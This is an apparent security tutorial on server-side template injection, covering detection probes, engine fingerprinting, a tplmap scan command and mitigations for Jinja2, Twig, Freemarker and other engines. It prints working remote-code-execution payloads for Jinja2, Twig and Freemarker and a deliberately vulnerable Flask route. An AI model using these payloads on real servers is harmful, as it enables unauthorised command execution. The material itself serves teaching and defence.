Server-Side Template Injection (SSTI) - Template-Engine-Angriffe
Server-side template injection occurs when user input is inserted directly into template engines without prior escaping. Attackers can exploit template syntax to execute server-side code, potentially escalating to remote code execution. Affected: Jinja2 (Python), Twig (PHP), Freemarker (Java), Handlebars (Node.js). Detectable by {{7*7}} = 49 in the output. Protection: Render templates only using trusted templates.
Server-Side Template Injection (SSTI) occurs when a web application inserts user input directly into template strings that are then processed by a template engine. Unlike Cross-Site Scripting (XSS—injection in the browser), SSTI takes place on the server side and allows for direct code execution on the server—one of the most dangerous web vulnerabilities of all.
The Basic Principle
# Vulnerable code (Python/Jinja2):
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name')
# UNSAFE: User input directly in template string!
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
Normal usage:
GET /hello?name=Alice
→ Template: <h1>Hello Alice!</h1>
SSTI Detection (Step 1):
GET /hello?name={{7*7}}
→ Template: <h1>Hello 49!</h1> ← Jinja2 calculated 7*7!
→ SSTI confirmed! (XSS would output {{7*7}} unchanged)
Engine identification (Step 2):
| Payload | Result | Engine |
|---|---|---|
{{7*7}} → 49 AND {{7*'7'}} → '7777777' | Twig (PHP) | |
{{7*7}} → 49 AND {{7*'7'}} → 49 | Jinja2 (Python) | |
${7*7} → 49 | Freemarker (Java) | |
#{7*7} → 49 | Mako (Python) | |
<%= 7*7 %> → 49 | ERB (Ruby) |
SSTI Exploitation by Template Engine
Jinja2 (Python/Flask)
Detection: {{7*7}} → 49
Information Leak:
{{config}} → Flask configuration + SECRET_KEY!
{{config.items()}} → All configuration values
RCE via Python Object Hierarchy (conceptual):
- Jinja2 allows access to Python objects via
__class__,__mro__,__subclasses__()attributes - Traversal up to sys, os, subprocess modules
- From there: Operating system commands can be invoked
{{cycler.__init__.__globals__.os.popen('id').read()}}
→ Returns user/group of the web server process → RCE!
Twig (PHP)
Detection: {{7*7}} → 49 AND {{7*'7'}} → '7777777'
RCE Method:
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
→ Registers system() as a filter → Command execution
Freemarker (Java)
Exploit: ${7*7} → 49
RCE via Execute class:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
→ Freemarker instantiates Execute class → OS command
ERB (Ruby on Rails)
Detection: <%= 7*7 %> → 49
Backtick syntax in ERB → Subshell execution → RCE
Handlebars (Node.js)
Detection: {{7}} → 7 (Handlebars escapes, restricts)
- Prototype pollution combination required for RCE
- Less direct than Jinja2 or Twig
Detection in Penetration Testing
Test all input fields
- GET/POST parameters
- URL path segments
- HTTP headers (User-Agent, X-Custom-Header)
- Cookie values
- JSON fields
- Email templates (often overlooked!)
Math Test (Engine-agnostic)
| Payload | Engine |
|---|---|
{{7*7}} | Jinja2/Twig: 49 |
${7*7} | Freemarker/OGNL: 49 |
#{7*7} | Mako/EL: 49 |
<%= 7*7 %> | ERB: 49 |
No result (literal {{7*7}}) → no SSTI, but check for XSS!
Difference between SSTI and XSS
- XSS payload:
<script>alert(1)</script>→ Executed in the browser - SSTI payload:
{{7*7}}→ 49 calculated on the server! - XSS and SSTI can exist simultaneously
Automated (tplmap)
python3 tplmap.py -u "https://target.com/hello?name=*"
# → Automatic engine detection + exploitation testing
# → Like sqlmap, but for SSTI
Blind SSTI (no output visible)
- Time-Based:
{{6000000*6000000}}→ Measurable CPU spike? - OOB: DNS exfiltration via network requests from templates
Email Template Testing
- Many template engines used for emails
- "Your name: {{user_input}}" in email body
- SSTI in email → RCE even though no HTTP response is returned!
- Indicator: Email displays calculated expression instead of literal
Mitigation Measures
> Basic Rule: NEVER insert user input into template strings! Pass user input as template variables!
Python (Jinja2/Flask)
# WRONG - User input in template string:
template_str = "Hello " + user_name + "!"
return render_template_string(template_str)
# CORRECT - User input as a template variable:
return render_template_string(
"Hello {{ name }}!", # Fixed template (no user input!)
name=user_name # User input as a safe context value
)
# Jinja2 automatically escapes {{ name }} (HTML entities)!
# BETTER - Load template from file:
return render_template('hello.html', name=user_name)
# Templates in the /templates/ folder, only trusted files!
PHP (Twig)
# WRONG:
$template = $twig->createTemplate("Hello " . $user_name);
# RIGHT:
$template = $twig->load('hello.html.twig');
echo $template->render(['name' => $user_name]);
Java (Freemarker)
// WRONG: Create template string from user input
Template t = new Template("name", new StringReader(userInput), cfg);
// CORRECT: Load template from file
Template t = cfg.getTemplate("hello.ftl");
Map<string, object=""> root = new HashMap<>();
root.put("name", userName); // As a variable, not in the template!
t.process(root, out);
Sandbox mode (when user templates are unavoidable)
# Jinja2 SandboxedEnvironment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# Restricted namespace: no __class__, no __globals__
# But: Sandbox is not infallible! Escapes are possible!
// Twig Sandbox:
$policy = new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new SandboxExtension($policy);
$twig->addExtension($sandbox);
// Only explicitly allowed tags/filters/methods can be used
Additional Measures
- Least Privilege: Do not run the web server as root
- WAF: Filter known SSTI patterns (
{{,${,<%=) - Monitoring: Template engine errors → SOC alert
- Output encoding: Actively check this even for template engines
- Code reviews: Flag every
render_template_stringthat includes user input</string,>